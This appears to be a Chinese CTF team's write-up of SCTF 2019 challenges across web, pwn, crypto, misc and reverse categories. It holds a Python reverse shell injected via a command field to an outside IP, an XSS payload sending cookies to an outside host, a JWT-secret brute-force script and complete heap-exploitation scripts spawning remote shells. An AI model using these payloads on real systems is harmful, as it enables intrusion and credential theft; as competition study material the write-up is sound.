SCTF 2019——SU wp

2019-06-25 约 1579 字 预计阅读 8 分钟

声明:本文 【SCTF 2019——SU wp】 由作者 Zedd 于 2019-06-25 09:24:00 首发 先知社区 曾经 浏览数 84 次

感谢 Zedd 的辛苦付出!

稍微打一波小广告,SU战队长期招人,无论您是小白,大佬,只要乐于分享,愿意交流,我们永远欢迎您的加入。我们可以一起打比赛,一起交流技术,一起为冲击全国甚至国际重要赛事前列而努力。我们的战队成员主要来自五湖四海,还有非常厉害的郁离歌郁离歌郁离歌,(这里的话竟然自己会动!)划重点!!(问:跟郁离歌打比赛是一种什么体验?答:只要花心思想自己怎么躺最舒服就行了!)我们乐于交流,乐于分享,乐于为自己的战队做努力,有着一致的目标。所以,如果有师傅想来一起交流,一起学习进步,一起打比赛的话,加入我们没有地区年级等任何限制,我们非常欢迎师傅或者团体的加入!欢迎联系:suers_xctf#126.com

以下是我们SU战队本次SCTF 2019的 wp ,再次感谢 Syclover 师傅们的精心准备!

Web

flag shop

扫目录发现robots.txt里面有源码路径
http://47.110.15.101/filebak 有源码

漏洞点在 /work

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

应该是个 ruby erb 模版注入,但是在

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

这里只能执行7个,一般模版注入的方式是<%=7*7%>远超过7个可用的地方。
猜是不是可以用<%%>构造什么命令来,SECRETKEY长度为24位,应该不太可能弄得出来,意味着不能通过正常的buy flag来拿到 flag 。
就剩下去利用这些去读取ENV
然后发现 ruby 的全局变量, 可以用 $~ 读取刚刚匹配的子串, 加上 <%=%> 刚好 7 字符, 因为 params[:SECRET] 可控, 可以来爆破 ENV["SECRET"],

import requests
table = '1234567890abcdef'
url = 'http://47.110.15.101/work'
data = {
    "name": "<%=$~%>",
    "do": "<%=$~%> is working"
}
sess = requests.session()
sess.headers['Cookie'] = 'auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNC1mMmJjLTRhZTUtOTRhNy1kNmUwZWRjMGJkMzEiLCJqa2wiOjEwN30.iI0fcdikWuFxSxYm9LV1dNjCmmID48QZ0c3w-hhyEnw'
'''
#后半部分
key = ''
for _ in range(1000):
    for i in table:
        tmp = key
        tmp += i
        data['SECRET'] = tmp
        print(tmp)
        res = sess.get(url, data=data)
        print(res.text)
        if tmp in res.text:
            key += i
            print(key)
            break
'''
#前半部分
key = '17b51f7f2588b3d2f09c821e6499984b09810e652ce9fa4882fe4875c8'
for _ in range(1000):
    for i in table:
        tmp = key
        tmp = i + tmp
        data['SECRET'] = tmp
        res = sess.get(url, data=data)
        if tmp in res.text:
            key = i + key
            print(key)
            break

得到 key 以后直接丢到 jwt.io 里面伪造就完事了.

easy-web

webpack 打包的时候没关 sourcemap, 可以直接看到源码, 发现后台没鉴权, 直接调接口

import requests
data = {
    "key": "abcdefghiklmn123",
    "npm": ["jquery", '''`python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('1.1.1.1',19132));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"`''']
}
res = requests.post('https://sctf2019.l0ca1.xyz/upload', json=data)

弹 shell 回来发现用的 aws 函数服务器. 查了查文档, 在服务器里面可以直接调用 aws api, 找到 bucket 里面的 flag.

node -e 'const AWS = require("aws-sdk");const s3 = new AWS.S3();s3.listObjects({Bucket: "static.l0ca1.xyz"}).promise().then((r)=>{console.log(r)});'
node -e 'const AWS = require("aws-sdk");const s3 = new AWS.S3();s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"}).promise().then((r)=>{console.log(r)});'

math-is-fun1 && math-is-fun2

http://题目地址/challenge?name=xxxx%0ADOMPurify[%27isSupported%27]%3d0&text=<script>window.location%3d"http://ip:5555/"+document.cookie</script>

利用config[name]处的变量覆盖关闭dompurify即可利用DOM XSS

Pwn

easy heap

from pwn import *
context(arch = 'amd64',os='linux')
def add(size):
    p.recvuntil('>>')
    p.sendline('1')
    p.recvuntil('Size')
    p.sendline(str(size))
    p.recvuntil('0x')
    return p.recv(12)

def dele(idx):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('Index')
    p.sendline(str(idx))

def edit(idx,cont):
    p.recvuntil('>>')
    p.sendline('3')
    p.recvuntil('Index')
    p.sendline(str(idx))
    p.recvuntil('Content')
    p.send(cont)
libc = ELF('./libc.so.6')
#p = process('./easy_heap',env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('132.232.100.67', 10004)
p.recvuntil('0x')
mmap_addr = int(p.recvuntil('\n')[:-1],16)
print hex(mmap_addr)
ptr_addr = int(add(0x100-8),16)#0
info("ptr:0x%x",ptr_addr)
add(0xf8)#1
add(0xf8)#2
edit(0,p64(0)+p64(0xf1)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+(0x100-8-16-8-16)*'\x00'+p64(0xf0))
dele(1)
#edit(0,p64(0)+p64(0)+p64(0x200)+p64(ptr_addr-8)+p64(0x90)+p64(ptr_addr+0x30-8)+p64(0)+p64(0x91)+'\x00'*0x80+p64(0x90)+p64(0x91)+'\n')

add(0x80)#1
add(0x80)#3
add(0x80)#4
dele(1)
dele(4)
edit(0,p64(0)+p64(0)+p64(0x200)+p64(ptr_addr-8+0x50)+p64(0x200)+p64(mmap_addr)+p64(0)*2+p64(0x80)+'\x28\n')
edit(3,p64(ptr_addr+0x40)+'\n')
add(128)
a = 0x16# int(raw_input("a"),16)
edit(0,p64(0x200)+'\x20'+chr(a)+'\n')
edit(5,p64(0xfbad3c80)+p64(0)*3+p8(0)+'\n')
p.recvuntil(p64(0)*3)
addr = u64(p.recv(8))
libc_base = addr - (0x7f7af9dfa6e0-0x7f7af9a37000)
print hex(libc_base)
free_hook = libc_base+libc.symbols['__free_hook']
sh = asm(shellcraft.sh())
edit(1,sh+'\n')
edit(0,p64(0x200)+p64(free_hook)+'\n')
edit(5,p64(mmap_addr)+'\n')
p.sendline('2')
p.sendline('0')
p.interactive()

one heap

用hbase爆破pbase的1/8192变态house of Roman + 1/1的house of three

from pwn import *
context.arch = "amd64"
context.aslr = False
libc = ELF("./libc-2.27.so")

def add(size,data,shift = False):
    io.sendlineafter("choice:",str(1))
    io.sendlineafter("size",str(size))
    if(shift == False):
        io.sendlineafter("content:",data)
    else:
        io.sendafter("content:",data)
def rm():
    io.sendlineafter("choice:",str(2))
while(True):
    try:
        #io = process("./one_heap",env = {"LD_PRELOAD":"./libc-2.27.so"})
        io = remote('47.104.89.129',10001)
        add(0x60,'0000')
        rm()
        rm()
        add(0x60,'\x20\x60\x64')
        add(0x60,' ')
        add(0x60,'\n',shift = True)
        add(0x60,p64(0xfbad1880)+p64(0)*3+"\x58")
        lbase = u64(io.recv(6).ljust(8,'\x00'))-libc.sym['_IO_file_jumps']
        success("LBASE -> %#x"%lbase)
        add(0x40,'0000')
        rm()
        rm()
        add(0x40,p64(lbase+libc.sym['__realloc_hook']))
        add(0x40,p64(lbase+libc.sym['__realloc_hook']))
        one = 0x4f2c5
        add(0x40,p64(lbase+one)+p64(lbase+libc.sym['realloc']+0xe))
        add(0x30,"cat flag\x00")
        #gdb.attach(io,'handle SIGALRM nostop noprint')
        io.interactive()
        raw_input()
    except Exception,e:
        info(str(Exception)+str(e))
        io.close()

two heap

0x1 0x8 0x10 0x18绕size check(都是生成0x20的堆块)

from pwn import *
context.arch = 'amd64'
#context.aslr = False
libc = ELF("./libc-2.26.so")

def add(size,data):
    io.sendlineafter("choice:","1")
    io.sendlineafter("size:\n",str(size))
    io.sendafter("note:\n",data)
def rm(idx):
    io.sendlineafter("choice:","2")
    io.sendlineafter("index:\n",str(idx))
while(True):
    try:
        io = remote('47.104.89.129',10002)
        #io = process("./two_heap",env = {"LD_PRELOAD":"./libc-2.26.so"})
        io.sendlineafter("SCTF:\n","%a%a%a%a%a")
        io.recvuntil("0x0.0")
        lbase = (int(io.recv(11),16)<<4)-libc.sym['_IO_2_1_stdout_']
        info("LBASE -> %#x"%lbase)
        add(1,'')
        rm(0);rm(0);ls
        add(8,p64(lbase+libc.sym['__free_hook']))
        add(0x10,'\n')
        add(24,p64(lbase+libc.sym['system'])+'\n')
        add(40,"/bin/sh\x00"+"\n")
        io.sendline("2")
        io.sendline("4")
        #gdb.attach(io,'handle SIGALRM nostop noprint')
        io.interactive()
        raw_input()
    except Exception,e:
        info(str(e))
        io.close()

Crypto

warmup

题目中先 xor 到 16 位然后再用 CBC, 所以只要撞 xor 出来的 16 位就可以了.
unpad 也没检查, 可以往里面插东西撞 xor.

import remoteCLI
from binascii import hexlify, unhexlify
from Crypto.Util.strxor import strxor

cli = remoteCLI.CLI()
cli.connect('47.240.41.112', 12345)
msg, code = cli.recvUntilFind(r'you seem to have intercepted something:{(.*):(.*)}')
msg = unhexlify(msg)

mac = b'\x00' * 16
for i in range(len(msg) // 16):
    mac = strxor(msg[i * 16:(i + 1) * 16], mac)

forge_msg = bytearray(b'please send me your flag'+ (b'\x00' * 8))
forge_msg.extend(forge_msg)
forge_msg.extend(bytearray(mac))
length = len(forge_msg) + len(mac) - len('please send me your flag')
forge_msg[-1] ^= length
forge_msg.extend(b'\x00' * 15)
forge_msg.append(length)

cli.sendLine(hexlify(forge_msg))
cli.sendLine(code)
cli.console()

babygame

OFB 在知道明文+密文的情况下直接伪造明文. 这里通过广播攻击 + Coppersmith 得到明文.

import remoteCLI
from binascii import unhexlify, hexlify
from Crypto.Util.strxor import strxor

cli = remoteCLI.CLI()
cli.connect('47.240.41.112', 54321)

e, n = cli.recvUntilFind(r'pubkey:{e, n}={(.*), (.*)}')
n = int(n[:-1], 16)
cli.sendLine(str(n * 10))
cli.sendLine(str(1))

n1, = cli.recvUntilFind(r'Alpha:my pub-key is: e=3,n=(.*)')
n2, = cli.recvUntilFind(r'Bravo:my pub-key is: e=3,n=(.*)')
n3, = cli.recvUntilFind(r'Charlie:my pub-key is: e=3,n=(.*)')

mess1, a1, b1 = cli.recvUntilFind(r'admin:Alpha, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
mess2, a2, b2 = cli.recvUntilFind(r'admin:Bravo, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
mess3, a3, b3 = cli.recvUntilFind(r'admin:Charlie, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')

cipher, = cli.recvUntilFind(r'Alpha:David, make sure you\'ve read this:(.*)')
var = 'n1 n2 n3 mess1 mess2 mess3 a1 a2 a3 b1 b2 b3'
for i in var.split():
    globals()[i] = int(globals()[i][:-1], 16)

data = {
    'n': [n1, n2, n3],
    'c': [mess1, mess2, mess3],
    'a': [a1, a2, a3],
    'b': [b1, b2, b3]
}
import json
import subprocess
data = json.dumps(data)
output = subprocess.check_output(['sage', 'crypto2-broadcast.sage', data]).decode()[:-1]
plaintext = int(output)  # I will send you the ticket tomorrow afternoon\x03\x03\x03

plaintext = b'I will send you the ticket tomorrow afternoon\x03\x03\x03'
forge_mess = b'I will send you the ticket tomorrow morning\x05\x05\x05\x05\x05'

cipher = unhexlify(cipher)
keystream = strxor(plaintext, cipher)
forge_cipher = strxor(keystream, forge_mess)
cli.sendLine('2')
cli.sendLine(hexlify(forge_cipher))

cli.console()

crypto2-broadcast.sage

def hastads(cArray,nArray,e=3):
    """
    Performs Hastads attack on raw RSA with no padding.
    cArray = Ciphertext Array
    nArray = Modulus Array
    e = public exponent
    """

    if(len(cArray)==len(nArray)==e):
        for i in range(e):
            cArray[i] = Integer(cArray[i])
            nArray[i] = Integer(nArray[i])
        M = crt(cArray,nArray)
        return(Integer(M).nth_root(e,truncate_mode=1))
    else:
        print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")


def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
    """
    Performs Hastads attack on raw RSA with no padding.
    This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
    Where they are all encryptions of the same message.
    cArray = Ciphertext Array
    nArray = Modulus Array
    aArray = Array of 'slopes' for the linear padding
    bArray = Array of 'y-intercepts' for the linear padding
    e = public exponent
    """
    if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
        for i in range(e):
            cArray[i] = Integer(cArray[i])
            nArray[i] = Integer(nArray[i])
            aArray[i] = Integer(aArray[i])
            bArray[i] = Integer(bArray[i])
        TArray = [-1]*e
        for i in range(e):
            arrayToCRT = [0]*e
            arrayToCRT[i] = 1
            TArray[i] = crt(arrayToCRT,nArray)
        P.<x> = PolynomialRing(Zmod(prod(nArray)))
        gArray = [-1]*e
        for i in range(e):
            gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
        g = sum(gArray)
        g = g.monic()
        # Use Sage's inbuilt coppersmith method
        roots = g.small_roots(epsilon=eps)
        if(len(roots)== 0):
            print("No Solutions found")
            return -1
        return roots[0]

    else:
        print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
         "and the same size as the public exponent")

import json
import sys
data = json.loads(sys.argv[1])
print(linearPaddingHastads(data['c'], data['n'], data['a'], data['b']))

Misc

签到题

关注微信公众号,cat /flag

头号玩家

一直向上走就会有Flag
(一直向下会有假Flag

打开电动车

读数据发现有1个停止位,24个数据位,应该是PT2262,查了资料发现是16位地址8位数据,然而不对
然后发现可能是20位地址,这个对了

Maaaaaze

脚本地址

Rev

CreakMe

一个正常的Binary,程序是一个裸的标准AES加密,密钥和向量分别是sycloversyclover和sctfsctfsctfsctf,密文是Base64过的,用于比对的密文在程序的构造函数里面被变过,调试器挂一下就拿到了

>>> iv = 'sctf' * 4
>>> key = 'syclover' * 2
>>> aes = AES.new(key, AES.MODE_CBC, iv)
>>> cipher = 'nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo='
>>> aes.decrypt(cipher.decode('base64'))
'sctf{Ae3_C8c_I28_pKcs79ad4}\x05\x05\x05\x05\x05'

who is he

是一个Unity3D,逆Assembly-CSharp.dll,算法很简单,写个程序解一下

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace HelloWorldApplication
{
   class HelloWorld
   {
      static void Main(string[] args)
      {
               String str = "1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA==";
        byte[] bytes = Encoding.Unicode.GetBytes("1234");
        byte[] array = Convert.FromBase64String(str);
        DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
        MemoryStream memoryStream = new MemoryStream();
        CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(bytes, bytes), CryptoStreamMode.Write);
        cryptoStream.Write(array, 0, array.Length);
        cryptoStream.FlushFinalBlock();
        byte[] bytes2 = memoryStream.ToArray();
        cryptoStream.Close();
        memoryStream.Close();
        String result = Encoding.Unicode.GetString(bytes2);
         Console.WriteLine(result);

      }
   }
}

然后发现不对,开调试器挂程序,发现程序里面还有两个Assembly-CSharp.dll,而且之前那个根本就没载进去。。。
算法一样的,密文密钥分别是

q+w89Y22rObfzxgsquc5Qxbbh9ZIAHET/NncmiqEo67RrDvz34cdAk0BalKWhJGl2CBYMlr8pPA=
1234

xZWDZaKEhWNMCbiGYPBIlY3+arozO9zonwrYLiVL4njSez2RYM2WwsGnsnjCDnHs7N43aFvNE54noSadP9F8eEpvTs5QPG+KL0TDE/40nbU=
test

发现第二组是对的
(你打CTF像CXK.jpg

Strange apk

安卓逆向,打开后dex2jar转一下dex文件,在恢复出来的代码中可以找到一段对一个文件解密的过程.
文件可以看到是一个非常大的文件,打开后里面有好多syclover这些东西
可以看到里面的东西是通过key[i%len]这样循环解密一个文件,根据同样的逻辑尝试恢复文件,后来发现开头是PK,里面还有安卓包内的一些东西,即解密除了第二个apk
继续解密逆dex,可以看到前面12个是base64,后12个是割一位填充一个字符8,拿出来即可

babyre

elf文件,一共有三层
第一层是555的一个立体的密室,根据waasdxy走到目标位置即可
第二层则是base64dec,要求解密后的字符为sctf_9102
第三层是一个自写的算法,输入的16位在前面排好,在buf里成为4个int,然后通过i=0,j=4依次递增,执行如下运算
buf[j] = buf[i] ^ func(buf[i + 1] ^ buf[i + 2] ^ buf[i + 3]),直到最后运算结束,填充buf到30,最后check后四位在内存的值
可以看出来我们只知道buf[26],buf[27],buf[28],buf[29],由于buf[29] = buf[25] ^ func(buf[26],buf[27],buf[28]),由xor运算的性质,我们就可算出buf25,递归到0即可求出初始字符串

#include <stdio.h>
#include "defs.h"
#include <stdlib.h>
#include <string.h>
int dword_7F4BEE488940[288] =
{....
....//此处自行dump
};


unsigned int calcc(unsigned int a1)
{
  int v1; // ST18_4
  int table[290]; // [rsp+20h] [rbp-490h]
  unsigned __int64 v4; // [rsp+4A8h] [rbp-8h]

  qmemcpy(table, dword_7F4BEE488940, 0x480uLL);
  v1 = (table[BYTE2(a1)] << 16) | table[(unsigned __int8)a1] | (table[BYTE1(a1)] << 8) | (table[a1 >> 24] << 24);
  return __ROL4__(v1, 12) ^ (unsigned int)(__ROL4__(v1, 8) ^ __ROR4__(v1, 2)) ^ __ROR4__(v1, 6);
}

unsigned int calc(unsigned int a,unsigned int b,unsigned int c,unsigned int d) {
    return a ^ calcc(b^c^d);
}

int main() {
    unsigned int buf[30];
    unsigned char enc[16] = {128, 6, 4, 190, 71, 118, 175, 197, 31, 64, 204, 159, 239, 146, 191, 216};
     //unsigned char enc[16] = {190, 4, 6, 128, 197, 175, 118, 71, 159, 204, 64, 31, 216, 191, 146, 239};
    // scanf("%16s",s);
    memset(buf,0,30*4);
    memcpy(&buf[26],enc,16);
    int i,j;
    for(i = 25,j = 29;j >= 4;j--,i--) {
        buf[i] = calc(buf[j],buf[j-3],buf[j-2],buf[j-1]);
        printf("buf[%d] = %d ^ calcc(%d,%d,%d)\n",i,j,j-3,j-2,j-1);
    }
    printf("%s\n",(char *)buf);
    // printf("%d\n",strlen((char *)buf));
}

music

又是个安卓,打开后会强制你听一首《早春的树》,然后到了输入flag的界面,输入错误会从头听歌,然后输入
逆dex,可以看到比较清楚的逻辑,在几个class中,看到几个运算,分别是tohexstr,getdb,还有一个魔改了一下的rc4,db文件拿到字符串md5当作key,找到hex后的字符串,写解密脚本

public class Notepad 
{
    public static void main(String[] args) 
    {
        byte[] enctob = new byte[]{-62, -117, -61, -99, -61, -90, -62, -125, -62, -77, -61, -99, -62, -109, -62, -119, -62, -72, -61, -70, -62, -98, -61, -96, -61, -89, -62, -102, 22, 84, -61, -81, 40, -61, -95, -62, -79, 33, 91, 83};       
        String bs = new String(enctob);
        char[] flagenc = bs.toCharArray();
        char[] out = new char[bs.length()];
        int[] S = new int[256];
        byte[] wtf = new byte[256];
        int i,j,k;
        String key = "E7E64BF658BAB14A25C9D67A054CEBE5";
        for (i = 0; i < 256; i++ ) 
        {
            S[i] = i;
            wtf[i] = (byte)(key.charAt(i % 32));
        }
        i = 0;
        j = 0;
        for(i = 0,j = 0;i < 256; i++ ) 
        {
            j = (S[i] + j + wtf[i]) % 256;
            k = S[i];
            S[i] = S[j];
            S[j] = k;
        }
        for (i = 0,j = 0,k = 0; i < bs.length(); i++ ) 
        {
            k = (k + 1) % 256;
            j = (S[k] + j) % 256;
            int temp = S[k];
            S[k] = S[j];
            S[j] = temp;
            out[i] = (char)((flagenc[i] ^ S[(S[k] + S[k] % 256) % 256]) + k);
            System.out.println(out);
        }

    }
}

稍微打一波小广告,SU战队长期招人,无论您是小白,大佬,只要乐于分享,愿意交流,我们永远欢迎您的加入。我们可以一起打比赛,一起交流技术,一起为冲击全国甚至国际重要赛事前列而努力。我们的战队成员主要来自五湖四海,还有非常厉害的郁离歌郁离歌郁离歌,(这里的话竟然自己会动!)划重点!!(问:跟郁离歌打比赛是一种什么体验?答:只要花心思想自己怎么躺最舒服就行了!)我们乐于交流,乐于分享,乐于为自己的战队做努力,有着一致的目标。所以,如果有师傅想来一起交流,一起学习进步,一起打比赛的话,加入我们没有地区年级等任何限制,我们非常欢迎师傅或者团体的加入!欢迎联系:suers_xctf#126.com

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now